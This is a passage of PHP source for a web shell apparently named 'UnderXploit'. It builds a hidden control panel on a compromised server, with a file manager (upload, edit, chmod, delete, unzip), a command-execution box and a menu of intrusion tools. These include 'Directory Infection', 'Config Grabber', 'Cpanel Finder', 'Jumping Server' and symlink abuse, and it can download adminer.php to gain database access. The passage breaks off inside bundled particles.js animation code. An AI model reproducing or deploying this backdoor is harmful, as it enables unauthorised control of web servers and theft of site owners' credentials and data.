  2052. $dirContent = hs(isset($_UNDERXPLOIT['from']) ? $_UNDERXPLOIT['from'] : $GLOBALS['cwd']);
  2053. switch ($dirContent) {
  2054.     case (false): print '<script type="text/javascript">c("?' . x7 . 'error&' . x5 . $dir . '");</script>';
  2055.     return;
  2056. }
  2057.  
  2058. global $sort;
  2059. $sort = array(
  2060.     'name',
  2061.     1
  2062. );
  2063.  
  2064. switch (true) {
  2065.     case (!empty($_UNDERXPLOIT['hcx'])):
  2066.         if (preg_match('!s_([A-z]+)_(\d{1})!', $_UNDERXPLOIT['hcx'], $match)) $sort = array(
  2067.         $match[1], (int)$match[2]);
  2068. }
  2069.  
  2070. print '<script language="JavaScript">
  2071. function grow(isChecked) {
  2072.             if(isChecked) {
  2073.                 $(\'input[name="target[]"]\').each(function() {
  2074.                     this.checked = true;
  2075.                 });
  2076.             } else {
  2077.                 $(\'input[name="target[]"]\').each(function() {
  2078.                     this.checked = false;
  2079.                 });
  2080.             }
  2081.         } </script>';
  2082.        
  2083. print '<table class="table-file" cellspacing="0">
  2084.     <th class="th-file">Name</th>
  2085.     <th class="th-file" style="width:80px" id="wh">Access</th>
  2086.     <th class="th-file" style="width:80px">Size</th>
  2087.     <th class="th-file" style="width:65px">Action</th>
  2088.     <th class="th-file"></th>
  2089.     <tr>';
  2090.  
  2091. $dir = getcwd();
  2092. $scn = scandir($dir);
  2093.  
  2094. foreach($scn as $_axu) {
  2095.    
  2096.     $dtype = filetype("$dir/$_axu");
  2097.    
  2098. switch (true) {
  2099.     case (!is_dir("$dir/$_axu")): continue 2;
  2100. break;
  2101. }
  2102.  
  2103. switch ($_axu) {
  2104.     case ('..'): $_axe = '<a class="a" onclick=\'c("?' . x5 . dirname($dir) . '")\'>' . $_axu . '</a>';
  2105. break;
  2106.     case ('.'): $_axe = '<a class="a" onclick=\'c("?' . x5 . $dir . '")\'>' . $_axu . '</a>';
  2107. break;
  2108.     default: $_axe = '<a class="a" onclick=\'c("?dir=' . $dir . '/' . $_axu . '")\'>' . $_axu . '</a>';
  2109.     $xdir += 1;
  2110. }
  2111.    
  2112. switch (true) {
  2113.     case($_axu == '.' || $_axu == '..'): $_axo = '--';
  2114.         $ckh = '<label><input type="checkbox" disabled><span class="icon"><i class="zmdi zmdi-check zmdi-hc-fw"></i></span></label>';
  2115. break;
  2116.     default: $_axo = '<a class="a" id="button-'.crc32($_axu).'">OPEN</a>';
  2117.         $ckh = '<label><input type="checkbox" value="' . basename($_axu) . '" name="target[]"><span class="icon"><i class="zmdi zmdi-check zmdi-hc-fw"></i></span></label>';
  2118. }
  2119.    
  2120.     print '<tr>';
  2121.     print '<td class="td-file elip"><i class="zmdi zmdi-folder-outline zmdi-hc-fw"></i>&nbsp;[ ' . $_axe . ' ]</td>';
  2122.     print '<td align="center" id="wh" class="td-file">' . perms($_axu) . '</td>';
  2123.     print '<td align="center" class="td-file"><center>--</center></th>';
  2124.     print '<td align="center" class="td-file"> ' . $_axo . '</td>';
  2125.    
  2126.     print "<div id='cr-".crc32($_axu)."' class='hidden'>
  2127. <a onclick=\"c('?" . x7 . "upload&" . x5 . $dir . "/" . $_axu . "')\"><i class='zmdi zmdi-upload zmdi-hc-fw'></i></a>
  2128. <a onclick=\"c('?" . x7 . "renadir&" . x5 . $dir . "/" . $_axu . "')\"><i class='zmdi zmdi-flip zmdi-hc-fw'></i></a>
  2129. <a onclick=\"c('?" . x7 . "chmdir&" . x5 . $dir . "/" . $_axu . "')\"><i class='zmdi zmdi-wrench zmdi-hc-fw'></i></a>
  2130. <a onclick=\"c('?" . x7 . "deledir&" . x5 . $dir . "/" . $_axu . "')\"><i class='zmdi zmdi-delete zmdi-hc-fw'></i></a>
  2131.     </div>";
  2132.  
  2133.     print '<td align="center" class="td-file" style="width:10px"><label for="'. $file . '">' . $ckh . '</td>';
  2134.     print "<script type='text/javascript'>
  2135.         $('#button-".crc32($_axu)."').toolbar({
  2136.             content: '#cr-".crc32($_axu)."',
  2137.             position: 'top',
  2138.             style: 'dark',
  2139.             event: 'click',
  2140.             hideOnClick: true,
  2141.             adjustment: 28
  2142.     });</script>";
  2143. }
  2144.  
  2145.     print '</tr>';
  2146.  
  2147. foreach($scn as $file) {
  2148.     $ftype = filetype("$dir/$file");
  2149.     $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  2150.     $size = filesize("$dir/$file") / 1024;
  2151.     $size = round($size, 3);
  2152.  
  2153. switch (true) {
  2154.     case ($size > 1024): $size = round($size / 1024, 2) . 'MB';
  2155. break;
  2156.     default: $size = $size . 'KB';
  2157. }
  2158.  
  2159. switch (true) {
  2160.     case (!is_file("$dir/$file")): continue 2;
  2161. break;
  2162. }
  2163.         print '<tr>';
  2164.         print '<td class="td-file elip"><i class="zmdi zmdi-file zmdi-hc-fw"></i>&nbsp;<a class="a" onclick="c(\'?' . x7 . 'view&' . x5 . $dir . '&' . x6 . $dir . '/' . $file . '\')">';
  2165.    
  2166.     $xfile += 1;
  2167. switch ($file) {
  2168.     case (basename($_SERVER['PHP_SELF'])): $aing = '<span class="label-success">' . $file . '</font>';
  2169. break;
  2170.     default: $aing = $file;
  2171. }
  2172.    
  2173. print $aing . '</label></a></td>';
  2174. print "<td align='center' class='td-file' id='wh'>".perms($dir."/".$file)."</td>";
  2175. print "<td align='center' class='td-file'>" . $size . "</td>";
  2176.  
  2177. print "<div id='cr-".crc32($file)."' class='hidden'>
  2178.    <a onclick=\"c('?" . x7 . "view&" . x5 . $dir . "&" . x6 . $dir . "/" . $file . "')\"><i class='zmdi zmdi-eye zmdi-hc-fw'></i></a>
  2179.    <a onclick=\"c('?" . x7 . "edit&" . x5 . $dir . "&" . x6 . $dir . "/" . $file . "')\"><i class='zmdi zmdi-edit zmdi-hc-fw'></i></a>
  2180.    <a onclick=\"c('?" . x7 . "rename&" . x5 . $dir . "&" . x6 . $dir . "/" . $file . "')\"><i class='zmdi zmdi-flip zmdi-hc-fw'></i></a>
  2181.    <a onclick=\"c('?" . x7 . "chmod&" . x5 . $dir . "&" . x6 . $dir . "/" . $file . "')\"><i class='zmdi zmdi-wrench zmdi-hc-fw'></i></a>
  2182.    <a onclick=\"c('?" . x7 . "delete&" . x5 . $dir . "&" . x6 . $dir . "/" . $file . "')\"><i class='zmdi zmdi-delete zmdi-hc-fw'></i></a>
  2183.    <a onclick=\"c('?" . x7 . "download&" . x5 . $dir . "&" . x6 . $dir . "/" . $file . "')\"><i class='zmdi zmdi-download zmdi-hc-fw'></i></a>
  2184. </div>";
  2185.  
  2186. print '<td align="center" class="td-file"><a class="a" id="button-'.crc32($file).'">OPEN</a></td>';
  2187. print "<td align='center' class='td-file' style='width:10px'><label><input type='checkbox' name='target[]' value='" . $file . "'><div class='icon'><i class='zmdi zmdi-check zmdi-hc-fw'></i></div></label></td>";
  2188. print "<script type='text/javascript'>
  2189.         $('#button-".crc32($file)."').toolbar({
  2190.             content: '#cr-".crc32($file)."',
  2191.             position: 'top',
  2192.             style: 'dark',
  2193.             event: 'click',
  2194.             hideOnClick: true,
  2195.             adjustment: 28
  2196.     });</script>";
  2197. }
  2198.  
  2199. switch (true) {
  2200.     case ($xdir == NULL): $ydir = 0;
  2201. break;
  2202.     default: $ydir = $xdir;
  2203. }
  2204.  
  2205. switch (true) {
  2206.     case ($xfile == NULL): $yfile = 0;
  2207. break;
  2208.     default: $yfile = $xfile;
  2209. }
  2210.     print "</table>
  2211.         <table class='table-file'>
  2212.             <td class='td-file' style='width:40px'><div style='margin-top:1px'><span class='lawb' onclick='nflo()' style='width:20px'><i class='zmdi zmdi-menu zmdi-hc-fw'></i></span></div></td>
  2213.             <td class='td-file' align='left'><div style='margin-bottom:4px'>DIRECTORY : [ <span class='label-success'>" . $ydir . "</span> ] &nbsp;&nbsp; FILE : [ <span class='label-success'>" . $yfile . "</span> ]</div></td>
  2214.  
  2215. </table>
  2216.         <table style='width:100%;margin-top:2px' cellspacing ='0'>";
  2217.     print "<td style='width:13%;margin-left:10px'><center><label><input type ='checkbox' id ='actchk' onClick ='grow(this.checked);'><div class='icon'><i class='zmdi zmdi-check-all zmdi-hc-fw'></i></div></label></center></td>";
  2218.     print "<input type ='hidden' name ='ne' value =''>";
  2219.     print "<input type ='hidden' name ='from' value ='" . htmlspecialchars($GLOBALS['cwd']) . "'>";
  2220.     print "<input type ='hidden' name ='charset' value ='" . (isset($_UNDERXPLOIT['charset']) ? $_UNDERXPLOIT['charset'] : '') . "'>";
  2221.     print "<td style='width:70%'>
  2222.         <select name='hcx' style='width:100%' id='act'>";
  2223.    
  2224. if (!empty($_COOKIE['act']) && @count($_COOKIE['target']))
  2225.     print "<option value ='paste'>Paste</option>";
  2226.     print "<option value =''>-- Select Action --</option>";
  2227.     print "<option value ='copy'>Copy</option>";
  2228.     print "<option value ='move'>Move</option>";
  2229.     print "<option value ='delete'>Delete</option>";
  2230.  
  2231. if (class_exists('ZipArchive'))
  2232.     print "<option value ='zip'>Compress (.zip)</option>";
  2233.     print "</select></td>";
  2234.  
  2235. if (!empty($_COOKIE['act']) && @count($_COOKIE['target']) && (($_COOKIE['act'] == 'zip')))
  2236.     print "<input class='top' type='text' name='xpoz' value='" . rand(0, 100) . "-" . date("Y-m-d") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "' style='background:none;border:0;border-left:3px solid #1D9D73;margin-left:5px'>";
  2237.     print "<td style='width:20%;text-align:right;padding-left:3px;padding-right:2px'><button type='submit' onclick='m1s(); return false;' class='btn-exe'><i class='zmdi zmdi-long-arrow-return zmdi-hc-fw'></i></button></td></form></table>";
  2238.  
  2239.  
  2240. if (isset($_UNDERXPLOIT['ndir'])) {
  2241.     $cdir = $_UNDERXPLOIT['newinput'];
  2242. switch (true) {
  2243.     case (is_dir($dir . '/' . $cdir)): bacot('Directory already exist');
  2244. break;
  2245.     default: switch (true) {
  2246.     case (mkdir($dir . '/' . $cdir, 0777)): print '<script type="text/javascript">c("?' . x5 . $dir . '");</script>';
  2247. break;
  2248.     default: bacot('Can\'t create directory');
  2249.         }
  2250.     }
  2251. }
  2252.        
  2253. if (isset($_UNDERXPLOIT['nfil'])) {
  2254.     $cfile = $_UNDERXPLOIT['newinput'];
  2255. switch (true) {
  2256.     case (file_exists($dir . '/' . $cfile)): bacot('File already exist');
  2257. break;
  2258.     case (fopen($dir . '/' . $cfile, "w+")): print '<script type="text/javascript">c("?' . x7 . 'edit&' . x5 . $dir . '&' . x6 . $dir . '/' . $cfile . '");</script>';
  2259. break;
  2260.     default: bacot('Can\'t create file');
  2261.     }
  2262. }
  2263.  
  2264. print '<script language="Javascript">
  2265.         function cog(){
  2266.     if(document.forms[\'new\'].newinput.value === "") {';
  2267.         s('Can\'t be empty');
  2268. print 'return false;
  2269.     }
  2270. } </script>';
  2271.  
  2272. print '<script type="text/javascript">
  2273. function valid(field) {
  2274.         var re = /^[0-9-A-z.]*$/;
  2275.    if(!re.test(field.value)) {';
  2276.         s('Invalid character');
  2277. print 'field.value = field.value.replace(/[^0-9-A-z.]/g,"");
  2278.      }
  2279. } </script>';
  2280.  
  2281. print '<div id="nflo" style="display:none"><table style="margin-top:3px" cellspacing="0">
  2282.             <form name="new" action="?'.x5.$dir.'" method="post">
  2283.     <td style="padding-left:2px"><input type="text" name="newinput" onkeyup="valid(this);"></td>
  2284.     <td style="padding-left:3px"><button type="submit" class="btn-exe" name="ndir" onclick="return cog();"><i class="zmdi zmdi-folder-outline zmdi-hc-fw"></i></button></td>
  2285.     <td style="padding-left:3px;padding-right:2px"><button type="submit" class="btn-exe" name="nfil" onclick="return cog();"><i class="zmdi zmdi-file-plus zmdi-hc-fw"></i></button></td>
  2286.             </form></table></div></div>';
  2287. }
  2288. print '<script type="text/javascript">
  2289.     function nflo() {
  2290.         $("#nflo").slideToggle(500);
  2291.     } </script>';
  2292. print '<div class="coR">
  2293.                 <div class="coR-panel">
  2294.     <table>
  2295.             <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">TOOLS</td>
  2296.     </table>
  2297. </div>
  2298.     <div class="tools-content">';
  2299.    
  2300. $path = getcwd();
  2301. if (isset($_FILES['data'])) {
  2302. switch (true) {
  2303.     case (copy($_FILES['data']['tmp_name'], $path . '/' . $_FILES['data']['name'])): mtr('?' . x5 . $dir);
  2304.         bacot('File uploaded succesfully');
  2305. break;
  2306.     default: bacot('Failed to upload file');
  2307.     }
  2308. }
  2309.  
  2310. print '<script type="text/javascript"> function upload(){
  2311.     if(document.getElementById("up").value == ""){';
  2312.                 s('Enter file to upload'); print 'return false;
  2313.         } document.getElementById("%").submit();
  2314. } </script>
  2315. <table>
  2316.     <td align="center" valign="top" style="width:10%;padding-top:11px"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></td>
  2317.     <td style="width:70%">
  2318.         <form enctype="multipart/form-data" action="?'.x5.$dir.'" method="POST"><input type="file" name="data" id="up"></td>
  2319.     <td style="width:20%" valign="top"><button type="submit" class="btn-exe" style="margin-top:1px" onclick="upload();return false;"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></form>
  2320.     </td>
  2321. </table>';
  2322.        
  2323. if (isset($_UNDERXPLOIT['x'])) {
  2324.         $rse = $_UNDERXPLOIT['file_name'];
  2325.         $zip = new ZipArchive;
  2326. switch ($_UNDERXPLOIT['file_name']) {
  2327.     case ($rse): switch (true) {
  2328.     case ($zip -> open($path . '/' . $rse) === TRUE): mtr('?' . x5 . $dir);
  2329.         $zip -> extractTo($path); $zip -> close();
  2330.         bacot('Extract successfully');
  2331. break;
  2332.     default: bacot('Permission denied');
  2333.         }
  2334.     }
  2335. }
  2336.  
  2337. print '<script type="text/javascript"> function unzip() {
  2338.     if(document.getElementById("u").value == ""){'; s('You must choose a zip file');
  2339.         print 'return false;
  2340.     } document.getElementById("exzip").submit();
  2341. } </script>';
  2342.  
  2343. print '<table><form method="POST" action="?' . x5 . $dir . '">
  2344.     <td align="center" style="width:10%"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></td>
  2345.     <td style="width:70%"><select name="file_name" id="u">
  2346.     <option value=""> -- Extractor (.zip) --</option>';
  2347.  
  2348. $scandir = scandir($path);
  2349. foreach($scandir as $file) {
  2350. switch (true) {
  2351.     case (!is_file("$path/$file")): continue 2;
  2352. break;
  2353. }
  2354. switch (true) {
  2355.     case (preg_match('/\.zip$/mis', $file)): print '<option>' . $file . '</option>';
  2356.     }
  2357. }
  2358.  
  2359. print '</select></td><td style="width:20%;text-align:right"><button id="exzip" type="submit" name="x" class="btn-exe" onclick="unzip();return false;"><i class="zmdi zmdi-long-arrow-return zmdi-hc-fw"></i></button></form></td>
  2360.     </table>
  2361. <script type="text/javascript"> function gv() {
  2362.     if(document.getElementById("cnsl").value == ""){'; s('Enter your command');
  2363.         print 'return false;
  2364.     } document.getElementById("exc").submit();
  2365. } </script>
  2366. <table style="margin-top:15px"><form method="POST" action="?' . x7 . 'cmd&' . x5 . $dir . '">
  2367.     <td align="center" style="width:10%"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></td>
  2368.     <td style="width:70%"><input type="text" placeholder="$" name="cmd" id="cnsl"></td><td style="width:20%;text-align:right"><button type="submit" class="btn-exe" id="exc" onclick="gv();return false;"><i class="zmdi zmdi-long-arrow-return zmdi-hc-fw"></i></button></form></td>
  2369.     </table>
  2370. </div>
  2371.  
  2372. <div class="coR-panel top"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">MENU</td></table></div>';
  2373. print '<div class="tools-content">';
  2374.  
  2375. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">System Information</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'system&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>';
  2376. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Multiple Upload</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'upload&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>';
  2377. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Directory Infection</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'infection&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>';
  2378. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Multiple Hash</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'multihash&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>';
  2379. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Jumping Server</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'jumping&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>';
  2380. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Config Grabber</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'config&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>';
  2381. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Cpanel Finder</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'cpanel&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>';
  2382. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Multiple Symlink</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'symlink&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>';
  2383. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Change Password</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'change&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>';
  2384. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-pin-drop zmdi-hc-fw"></i></td><td class="td-tools-content">Me : [ <span class="label-success">' . str_replace('/', '', basename($_SERVER['PHP_SELF'])) . ' </span> ]</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'kill&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-delete zmdi-hc-fw"></i></button></a></td></table></div>';
  2385.  
  2386. print '<script type="text/javascript">function create(){
  2387. if(document.getElementById("c").value == ""){'; s("Select the file to be created"); print 'return false;
  2388.     } document.getElementById("jmbt").submit();
  2389.   } </script>';
  2390.  
  2391. switch ($_UNDERXPLOIT['op']) {
  2392.     case ('1'): switch (true) {
  2393.     case (op('adminer.php', 'https://www.adminer.org/static/download/4.3.1/adminer-4.3.1.php')): mtr('?' . x5 . $dir);
  2394.         bacot('File created successfully');
  2395. break;
  2396.     default: bacot('Failed to create file');
  2397.     }
  2398. }
  2399.  
  2400. print '<div class="tools-content top" style="padding:5px">';
  2401. print '<table><form action="?' . x5 . $dir . '" method="POST"><td align="center" style="width:10%"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></span></td><td style="width:70%"><select name="op" id="c">';
  2402. print '<option value=""> -- Create file --</option>';
  2403. print '<option value="1">MySQL [ adminer.php ]</option>';
  2404. print '</select>
  2405. </td>
  2406.     <td style="width:20%;text-align:right"><button type="submit" class="btn-exe" onclick="create();return false;" id="jmbt"><i class="zmdi zmdi-long-arrow-return zmdi-hc-fw"></i></button></form>
  2407.             </td>
  2408.        </table>
  2409. </div>';
  2410.  
  2411. print '<script type="text/javascript">
  2412.     var pJS = function(tag_id, params) {
  2413.     var canvas_el = document.querySelector(\'#\' + tag_id + \' > .particles-js-canvas-el\');
  2414.     this.pJS = {
  2415.         canvas: {
  2416.             el: canvas_el,
  2417.             w: canvas_el.offsetWidth,
  2418.             h: canvas_el.offsetHeight
  2419.         },
  2420.         particles: {
  2421.             number: {
  2422.                 value: 400,
  2423.                 density: {
  2424.                     enable: !0,
  2425.                     value_area: 800
  2426.                 }
  2427.             },
  2428.             color: {
  2429.                 value: \'#fff\'
  2430.             },
  2431.             shape: {
  2432.                 type: \'circle\',
  2433.                 stroke: {
  2434.                     width: 0,
  2435.                     color: \'#ff0000\'
  2436.                 },
  2437.                 polygon: {
  2438.                     nb_sides: 5
  2439.                 },
  2440.                 image: {
  2441.                     src: \'\',
  2442.                     width: 100,
  2443.                     height: 100
  2444.                 }
  2445.             },
  2446.             opacity: {
  2447.                 value: 1,
  2448.                 random: !1,
  2449.                 anim: {
  2450.                     enable: !1,
  2451.                     speed: 2,
  2452.                     opacity_min: 0,
  2453.                     sync: !1
  2454.                 }
  2455.             },
  2456.             size: {
  2457.                 value: 20,
  2458.                 random: !1,
  2459.                 anim: {
  2460.                     enable: !1,
  2461.                     speed: 20,
  2462.                     size_min: 0,
  2463.                     sync: !1
  2464.                 }
  2465.             },
  2466.             line_linked: {
  2467.                 enable: !0,
  2468.                 distance: 100,
  2469.                 color: \'#fff\',
  2470.                 opacity: 1,
  2471.                 width: 1
  2472.             },
  2473.             move: {
  2474.                 enable: !0,
  2475.                 speed: 2,
  2476.                 direction: \'none\',
  2477.                 random: !1,
  2478.                 straight: !1,
  2479.                 out_mode: \'out\',
  2480.                 bounce: !1,
  2481.                 attract: {
  2482.                     enable: !1,
  2483.                     rotateX: 3000,
  2484.                     rotateY: 3000
  2485.                 }
  2486.             },
  2487.             array: []
  2488.         },
  2489.         interactivity: {
  2490.             detect_on: \'canvas\',
  2491.             events: {
  2492.                 onhover: {
  2493.                     enable: !0,
  2494.                     mode: \'grab\'
  2495.                 },
  2496.                 onclick: {
  2497.                     enable: !0,
  2498.                     mode: \'push\'
  2499.                 },
  2500.                 resize: !0
  2501.             },
  2502.             modes: {
  2503.                 grab: {
  2504.                     distance: 100,
  2505.                     line_linked: {
  2506.                         opacity: 1
  2507.                     }
  2508.                 },
  2509.                 bubble: {
  2510.                     distance: 200,
  2511.                     size: 80,
  2512.                     duration: 0.4
  2513.                 },
  2514.                 repulse: {
  2515.                     distance: 200,
  2516.                     duration: 0.4
  2517.                 },
  2518.                 push: {
  2519.                     particles_nb: 4
  2520.                 },
  2521.                 remove: {
  2522.                     particles_nb: 2
  2523.                 }
  2524.             },
  2525.             mouse: {}
  2526.         },
  2527.         retina_detect: !1,
  2528.         fn: {
  2529.             interact: {},
  2530.             modes: {},
  2531.             vendors: {}
  2532.         },
  2533.         tmp: {}
  2534.     };
  2535.     var pJS = this.pJS;
  2536.     if (params) {
  2537.         Object.deepExtend(pJS, params)
  2538.     }
  2539.     pJS.tmp.obj = {
  2540.         size_value: pJS.particles.size.value,
  2541.         size_anim_speed: pJS.particles.size.anim.speed,
  2542.         move_speed: pJS.particles.move.speed,
  2543.         line_linked_distance: pJS.particles.line_linked.distance,
  2544.         line_linked_width: pJS.particles.line_linked.width,
  2545.         mode_grab_distance: pJS.interactivity.modes.grab.distance,
  2546.         mode_bubble_distance: pJS.interactivity.modes.bubble.distance,
  2547.         mode_bubble_size: pJS.interactivity.modes.bubble.size,
  2548.         mode_repulse_distance: pJS.interactivity.modes.repulse.distance
  2549.     };
  2550.     pJS.fn.retinaInit = function() {
  2551.         if (pJS.retina_detect && window.devicePixelRatio > 1) {
  2552.             pJS.canvas.pxratio = window.devicePixelRatio;
  2553.             pJS.tmp.retina = !0
  2554.         } else {
  2555.             pJS.canvas.pxratio = 1;
  2556.             pJS.tmp.retina = !1
  2557.         }
  2558.         pJS.canvas.w = pJS.canvas.el.offsetWidth * pJS.canvas.pxratio;
  2559.         pJS.canvas.h = pJS.canvas.el.offsetHeight * pJS.canvas.pxratio;
  2560.         pJS.particles.size.value = pJS.tmp.obj.size_value * pJS.canvas.pxratio;
  2561.         pJS.particles.size.anim.speed = pJS.tmp.obj.size_anim_speed * pJS.canvas.pxratio;
  2562.         pJS.particles.move.speed = pJS.tmp.obj.move_speed * pJS.canvas.pxratio;
  2563.         pJS.particles.line_linked.distance = pJS.tmp.obj.line_linked_distance * pJS.canvas.pxratio;
  2564.         pJS.interactivity.modes.grab.distance = pJS.tmp.obj.mode_grab_distance * pJS.canvas.pxratio;
  2565.         pJS.interactivity.modes.bubble.distance = pJS.tmp.obj.mode_bubble_distance * pJS.canvas.pxratio;
  2566.         pJS.particles.line_linked.width = pJS.tmp.obj.line_linked_width * pJS.canvas.pxratio;
  2567.         pJS.interactivity.modes.bubble.size = pJS.tmp.obj.mode_bubble_size * pJS.canvas.pxratio;
  2568.         pJS.interactivity.modes.repulse.distance = pJS.tmp.obj.mode_repulse_distance * pJS.canvas.pxratio
  2569.     };
  2570.     pJS.fn.canvasInit = function() {
  2571.         pJS.canvas.ctx = pJS.canvas.el.getContext(\'2d\')
  2572.     };
  2573.     pJS.fn.canvasSize = function() {
  2574.         pJS.canvas.el.width = pJS.canvas.w;
  2575.         pJS.canvas.el.height = pJS.canvas.h;
  2576.         if (pJS && pJS.interactivity.events.resize) {
  2577.             window.addEventListener(\'resize\', function() {
  2578.                 pJS.canvas.w = pJS.canvas.el.offsetWidth;
  2579.                 pJS.canvas.h = pJS.canvas.el.offsetHeight;
  2580.                 if (pJS.tmp.retina) {
  2581.                     pJS.canvas.w *= pJS.canvas.pxratio;
  2582.                     pJS.canvas.h *= pJS.canvas.pxratio
  2583.                 }
  2584.                 pJS.canvas.el.width = pJS.canvas.w;
  2585.                 pJS.canvas.el.height = pJS.canvas.h;
  2586.                 if (!pJS.particles.move.enable) {
  2587.                     pJS.fn.particlesEmpty();
  2588.                     pJS.fn.particlesCreate();
  2589.                     pJS.fn.particlesDraw();
  2590.                     pJS.fn.vendors.densityAutoParticles()
  2591.                 }
  2592.                 pJS.fn.vendors.densityAutoParticles()
  2593.             })
  2594.         }
  2595.     };
  2596.     pJS.fn.canvasPaint = function() {
  2597.         pJS.canvas.ctx.fillRect(0, 0, pJS.canvas.w, pJS.canvas.h)
  2598.     };
  2599.     pJS.fn.canvasClear = function() {
  2600.         pJS.canvas.ctx.clearRect(0, 0, pJS.canvas.w, pJS.canvas.h)
  2601.     };
  2602.     pJS.fn.particle = function(color, opacity, position) {
  2603.         this.radius = (pJS.particles.size.random ? Math.random() : 1) * pJS.particles.size.value;
  2604.         if (pJS.particles.size.anim.enable) {
  2605.             this.size_status = !1;
  2606.             this.vs = pJS.particles.size.anim.speed / 100;
  2607.             if (!pJS.particles.size.anim.sync) {
  2608.                 this.vs = this.vs * Math.random()
  2609.             }
  2610.         }
  2611.         this.x = position ? position.x : Math.random() * pJS.canvas.w;
  2612.         this.y = position ? position.y : Math.random() * pJS.canvas.h;
  2613.         if (this.x > pJS.canvas.w - this.radius * 2) this.x = this.x - this.radius;
  2614.         else if (this.x < this.radius * 2) this.x = this.x + this.radius;
  2615.         if (this.y > pJS.canvas.h - this.radius * 2) this.y = this.y - this.radius;
  2616.         else if (this.y < this.radius * 2) this.y = this.y + this.radius;
  2617.         if (pJS.particles.move.bounce) {
  2618.             pJS.fn.vendors.checkOverlap(this, position)
  2619.         }
  2620.         this.color = {};
  2621.         if (typeof(color.value) == \'object\') {
  2622.             if (color.value instanceof Array) {
  2623.                 var color_selected = color.value[Math.floor(Math.random() * pJS.particles.color.value.length)];
  2624.                 this.color.rgb = hexToRgb(color_selected)
  2625.             } else {
  2626.                 if (color.value.r != undefined && color.value.g != undefined && color.value.b != undefined) {
  2627.                     this.color.rgb = {
  2628.                         r: color.value.r,
  2629.                         g: color.value.g,
  2630.                         b: color.value.b
  2631.                     }
  2632.                 }
  2633.                 if (color.value.h != undefined && color.value.s != undefined && color.value.l != undefined) {
  2634.                     this.color.hsl = {
  2635.                         h: color.value.h,
  2636.                         s: color.value.s,
  2637.                         l: color.value.l
  2638.                     }
  2639.                 }
  2640.             }
  2641.         } else if (color.value == \'random\') {
  2642.             this.color.rgb = {
  2643.                 r: (Math.floor(Math.random() * (255 - 0 + 1)) + 0),
  2644.                 g: (Math.floor(Math.random() * (255 - 0 + 1)) + 0),
  2645.                 b: (Math.floor(Math.random() * (255 - 0 + 1)) + 0)
  2646.             }
  2647.         } else if (typeof(color.value) == \'string\') {
  2648.             this.color = color;
  2649.             this.color.rgb = hexToRgb(this.color.value)
  2650.         }
  2651.         this.opacity = (pJS.particles.opacity.random ? Math.random() : 1) * pJS.particles.opacity.value;
  2652.         if (pJS.particles.opacity.anim.enable) {
  2653.             this.opacity_status = !1;
  2654.             this.vo = pJS.particles.opacity.anim.speed / 100;
  2655.             if (!pJS.particles.opacity.anim.sync) {
  2656.                 this.vo = this.vo * Math.random()
  2657.             }
  2658.         }
  2659.         var velbase = {}
  2660.         switch (pJS.particles.move.direction) {
  2661.             case \'top\':
  2662.                 velbase = {
  2663.                     x: 0,
  2664.                     y: -1
  2665.                 };
  2666.                 break;
  2667.             case \'top-right\':
  2668.                 velbase = {
  2669.                     x: 0.5,
